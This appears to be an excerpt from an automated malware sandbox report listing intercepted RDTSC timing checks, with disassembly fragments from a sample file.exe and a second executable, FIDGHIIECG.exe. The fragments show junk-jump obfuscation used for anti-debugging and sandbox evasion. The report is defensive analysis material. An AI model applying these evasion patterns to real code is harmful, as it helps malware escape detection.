Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50905F4 second address: 5090662 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007F4904C31169h 0x0000000d jmp 00007F4904C3116Fh 0x00000012 push eax 0x00000013 jmp 00007F4904C31179h 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f jmp 00007F4904C3116Ah 0x00000024 pushfd 0x00000025 jmp 00007F4904C31172h 0x0000002a or ah, FFFFFFE8h 0x0000002d jmp 00007F4904C3116Bh 0x00000032 popfd 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090662 second address: 50906DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F490480C8C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jmp 00007F490480C8C1h 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 pushad 0x00000015 mov dl, 0Eh 0x00000017 mov dx, cx 0x0000001a popad 0x0000001b pop eax 0x0000001c jmp 00007F490480C8C2h 0x00000021 call 00007F49769301F8h 0x00000026 push 771B27D0h 0x0000002b push dword ptr fs:[00000000h] 0x00000032 mov eax, dword ptr [esp+10h] 0x00000036 mov dword ptr [esp+10h], ebp 0x0000003a lea ebp, dword ptr [esp+10h] 0x0000003e sub esp, eax 0x00000040 push ebx 0x00000041 push esi 0x00000042 push edi 0x00000043 mov eax, dword ptr [77240140h] 0x00000048 xor dword ptr [ebp-04h], eax 0x0000004b xor eax, ebp 0x0000004d push eax 0x0000004e mov dword ptr [ebp-18h], esp 0x00000051 push dword ptr [ebp-08h] 0x00000054 mov eax, dword ptr [ebp-04h] 0x00000057 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000005e mov dword ptr [ebp-08h], eax 0x00000061 lea eax, dword ptr [ebp-10h] 0x00000064 mov dword ptr fs:[00000000h], eax 0x0000006a ret 0x0000006b jmp 00007F490480C8C0h 0x00000070 and dword ptr [ebp-04h], 00000000h 0x00000074 push eax 0x00000075 push edx 0x00000076 pushad 0x00000077 jmp 00007F490480C8BDh 0x0000007c push eax 0x0000007d pop edx 0x0000007e popad 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50906DC second address: 50906F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4904C31178h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50906F8 second address: 509077F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F490480C8BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edx, dword ptr [ebp+0Ch] 0x0000000e jmp 00007F490480C8C6h 0x00000013 mov esi, edx 0x00000015 jmp 00007F490480C8C0h 0x0000001a mov al, byte ptr [edx] 0x0000001c pushad 0x0000001d pushad 0x0000001e movzx esi, di 0x00000021 mov ecx, edx 0x00000023 popad 0x00000024 call 00007F490480C8C5h 0x00000029 call 00007F490480C8C0h 0x0000002e pop eax 0x0000002f pop ebx 0x00000030 popad 0x00000031 inc edx 0x00000032 jmp 00007F490480C8BEh 0x00000037 test al, al 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c pushad 0x0000003d popad 0x0000003e push edx 0x0000003f pop esi 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509077F second address: 509077F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4904C31174h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F4904C310FDh 0x0000000f mov al, byte ptr [edx] 0x00000011 pushad 0x00000012 pushad 0x00000013 movzx esi, di 0x00000016 mov ecx, edx 0x00000018 popad 0x00000019 call 00007F4904C31175h 0x0000001e call 00007F4904C31170h 0x00000023 pop eax 0x00000024 pop ebx 0x00000025 popad 0x00000026 inc edx 0x00000027 jmp 00007F4904C3116Eh 0x0000002c test al, al 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 pushad 0x00000032 popad 0x00000033 push edx 0x00000034 pop esi 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50907D3 second address: 50907D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50907D9 second address: 50907DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50907DD second address: 5090817 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edi, dword ptr [ebp+08h] 0x0000000b jmp 00007F490480C8C7h 0x00000010 dec edi 0x00000011 pushad 0x00000012 call 00007F490480C8C4h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090817 second address: 509083A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov esi, ebx 0x00000007 popad 0x00000008 lea ebx, dword ptr [edi+01h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4904C31176h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509083A second address: 509088F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F490480C8BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov al, byte ptr [edi+01h] 0x0000000c jmp 00007F490480C8C6h 0x00000011 inc edi 0x00000012 pushad 0x00000013 mov esi, 4D072FEDh 0x00000018 call 00007F490480C8BAh 0x0000001d mov ch, 61h 0x0000001f pop edx 0x00000020 popad 0x00000021 test al, al 0x00000023 jmp 00007F490480C8BAh 0x00000028 jne 00007F4976924AB2h 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 mov di, si 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090AF7 second address: 5090B05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4904C3116Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090B05 second address: 5090B09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090B09 second address: 5090B1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 pushad 0x0000000a mov di, 3000h 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090B1B second address: 5090BB1 instructions: 0x00000000 rdtsc 0x00000002 mov si, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 pop esi 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F490480C8C3h 0x00000010 add eax, 72725BDEh 0x00000016 jmp 00007F490480C8C9h 0x0000001b popfd 0x0000001c mov dl, ch 0x0000001e popad 0x0000001f pop ebx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007F490480C8C4h 0x00000029 sbb ax, 9308h 0x0000002e jmp 00007F490480C8BBh 0x00000033 popfd 0x00000034 pushfd 0x00000035 jmp 00007F490480C8C8h 0x0000003a sbb cx, 3568h 0x0000003f jmp 00007F490480C8BBh 0x00000044 popfd 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090BB1 second address: 50905EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4904C31179h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a pushad 0x0000000b mov edx, eax 0x0000000d push ecx 0x0000000e pushfd 0x0000000f jmp 00007F4904C3116Fh 0x00000014 and ecx, 0BF40E0Eh 0x0000001a jmp 00007F4904C31179h 0x0000001f popfd 0x00000020 pop ecx 0x00000021 popad 0x00000022 retn 0008h 0x00000025 cmp dword ptr [ebp-2Ch], 10h 0x00000029 mov eax, dword ptr [ebp-40h] 0x0000002c jnc 00007F4904C31165h 0x0000002e push eax 0x0000002f lea edx, dword ptr [ebp-00000590h] 0x00000035 push edx 0x00000036 call esi 0x00000038 push 00000008h 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d push ebx 0x0000003e pop eax 0x0000003f jmp 00007F4904C31179h 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090D69 second address: 5090D80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F490480C8BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov ecx, ebx 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090D80 second address: 5090D86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090D86 second address: 5090DBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov bl, 14h 0x0000000e pushfd 0x0000000f jmp 00007F490480C8C6h 0x00000014 or ch, FFFFFFA8h 0x00000017 jmp 00007F490480C8BBh 0x0000001c popfd 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090DBB second address: 5090DD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4904C31174h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090DD3 second address: 5090DD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090DD7 second address: 5090E0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F4904C31177h 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F4904C31170h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090E0D second address: 5090E11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5090E11 second address: 5090E17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 843285 second address: 843289 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 84339F second address: 8433B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4904C31175h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 843551 second address: 843555 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 843555 second address: 84356B instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4904C31168h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jnl 00007F4904C31166h 0x00000016 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 84356B second address: 84356F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 84356F second address: 843589 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnl 00007F4904C31166h 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 jns 00007F4904C31166h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 843589 second address: 8435B8 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F490480C8C0h 0x00000008 pushad 0x00000009 jp 00007F490480C8B6h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jmp 00007F490480C8C2h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 84384F second address: 843859 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F4904C31166h 0x0000000a rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 8467AB second address: 8467F6 instructions: 0x00000000 rdtsc 0x00000002 je 00007F490480C8B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e mov edi, edx 0x00000010 je 00007F490480C8C4h 0x00000016 jmp 00007F490480C8BEh 0x0000001b push 00000000h 0x0000001d jo 00007F490480C8BCh 0x00000023 mov edi, dword ptr [ebp+122D38E8h] 0x00000029 call 00007F490480C8B9h 0x0000002e push esi 0x0000002f jl 00007F490480C8B8h 0x00000035 push eax 0x00000036 pop eax 0x00000037 pop esi 0x00000038 push eax 0x00000039 push esi 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 8467F6 second address: 8467FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 8467FA second address: 84682C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F490480C8C4h 0x00000013 jmp 00007F490480C8BFh 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 84682C second address: 846837 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F4904C31166h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 846837 second address: 84685C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a jmp 00007F490480C8BAh 0x0000000f pushad 0x00000010 jmp 00007F490480C8BEh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 84685C second address: 8468F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a jo 00007F4904C31179h 0x00000010 pushad 0x00000011 jmp 00007F4904C3116Bh 0x00000016 jnc 00007F4904C31166h 0x0000001c popad 0x0000001d pop eax 0x0000001e jmp 00007F4904C31173h 0x00000023 push 00000003h 0x00000025 mov esi, edi 0x00000027 push 00000000h 0x00000029 jmp 00007F4904C31177h 0x0000002e jmp 00007F4904C31173h 0x00000033 push 00000003h 0x00000035 mov edi, 45540820h 0x0000003a call 00007F4904C31169h 0x0000003f pushad 0x00000040 jmp 00007F4904C31170h 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007F4904C31170h 0x0000004c rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 8468F6 second address: 846912 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F490480C8B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F490480C8BEh 0x00000013 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 846912 second address: 846952 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007F4904C31176h 0x00000011 mov eax, dword ptr [eax] 0x00000013 pushad 0x00000014 pushad 0x00000015 push esi 0x00000016 pop esi 0x00000017 jmp 00007F4904C31173h 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 846952 second address: 846974 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F490480C8C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 846974 second address: 846989 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4904C3116Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 846989 second address: 8469CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 popad 0x00000008 pop eax 0x00000009 or esi, dword ptr [ebp+122D38C0h] 0x0000000f lea ebx, dword ptr [ebp+1244B611h] 0x00000015 push 00000000h 0x00000017 push eax 0x00000018 call 00007F490480C8B8h 0x0000001d pop eax 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 add dword ptr [esp+04h], 00000017h 0x0000002a inc eax 0x0000002b push eax 0x0000002c ret 0x0000002d pop eax 0x0000002e ret 0x0000002f push edi 0x00000030 mov edi, 416D42D3h 0x00000035 pop edx 0x00000036 push eax 0x00000037 pushad 0x00000038 push ecx 0x00000039 push edx 0x0000003a pop edx 0x0000003b pop ecx 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 846A78 second address: 846A7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 846A7E second address: 846AEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 xor dword ptr [esp], 7FC10C00h 0x0000000c adc dx, D1BEh 0x00000011 push 00000003h 0x00000013 sub dword ptr [ebp+122D33A1h], esi 0x00000019 push 00000000h 0x0000001b push 00000003h 0x0000001d mov edx, dword ptr [ebp+122D379Ch] 0x00000023 push 90577413h 0x00000028 pushad 0x00000029 pushad 0x0000002a jng 00007F490480C8B6h 0x00000030 jmp 00007F490480C8BAh 0x00000035 popad 0x00000036 push eax 0x00000037 pushad 0x00000038 popad 0x00000039 pop eax 0x0000003a popad 0x0000003b xor dword ptr [esp], 50577413h 0x00000042 sbb ch, 0000004Bh 0x00000045 lea ebx, dword ptr [ebp+1244B61Ah] 0x0000004b movsx ecx, dx 0x0000004e push ebx 0x0000004f je 00007F490480C8B8h 0x00000055 pushad 0x00000056 popad 0x00000057 pop edx 0x00000058 push eax 0x00000059 push eax 0x0000005a push edx 0x0000005b push edi 0x0000005c jmp 00007F490480C8BBh 0x00000061 pop edi 0x00000062 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 846C35 second address: 846C45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4904C3116Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 846C45 second address: 846C68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F490480C8B6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007F490480C8BBh 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 867134 second address: 867141 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jns 00007F4904C31166h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 867141 second address: 867153 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F490480C8B8h 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007F490480C8B6h 0x00000010 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 83D117 second address: 83D121 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F4904C31166h 0x0000000a rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 83D121 second address: 83D180 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F490480C8BAh 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 push ebx 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 pop ebx 0x0000001a jns 00007F490480C8CAh 0x00000020 pushad 0x00000021 push edi 0x00000022 pop edi 0x00000023 pushad 0x00000024 popad 0x00000025 jmp 00007F490480C8C6h 0x0000002a popad 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f ja 00007F490480C8B6h 0x00000035 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 8650BD second address: 865103 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4904C3116Ah 0x00000007 jmp 00007F4904C31170h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jg 00007F4904C31166h 0x00000015 push edi 0x00000016 pop edi 0x00000017 jmp 00007F4904C31174h 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f push ebx 0x00000020 pop ebx 0x00000021 jnl 00007F4904C31166h 0x00000027 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 865103 second address: 865107 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 865241 second address: 865255 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4904C3116Ah 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c jne 00007F4904C31172h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 865255 second address: 86525B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 8654F1 second address: 865508 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F4904C31171h 0x0000000b rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 865508 second address: 86550C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 8658E9 second address: 8658ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 8658ED second address: 8658FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007F490480C8B6h 0x00000010 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 8658FD second address: 865903 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 865903 second address: 865909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 865909 second address: 865913 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F4904C31166h 0x0000000a rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 865913 second address: 865917 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 865C74 second address: 865C78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 866009 second address: 866014 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 85A4DD second address: 85A4E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 8662C6 second address: 866326 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F490480C8BBh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F490480C8BFh 0x00000015 jmp 00007F490480C8C7h 0x0000001a jmp 00007F490480C8BDh 0x0000001f popad 0x00000020 jbe 00007F490480C8C6h 0x00000026 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 866A97 second address: 866A9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\FIDGHIIECG.exe	RDTSC instruction interceptor: First address: 866A9B second address: 866AB2 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F490480C8BEh 0x00000008 pushad 0x00000009 popad 0x0000000a ja 00007F490480C8B6h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
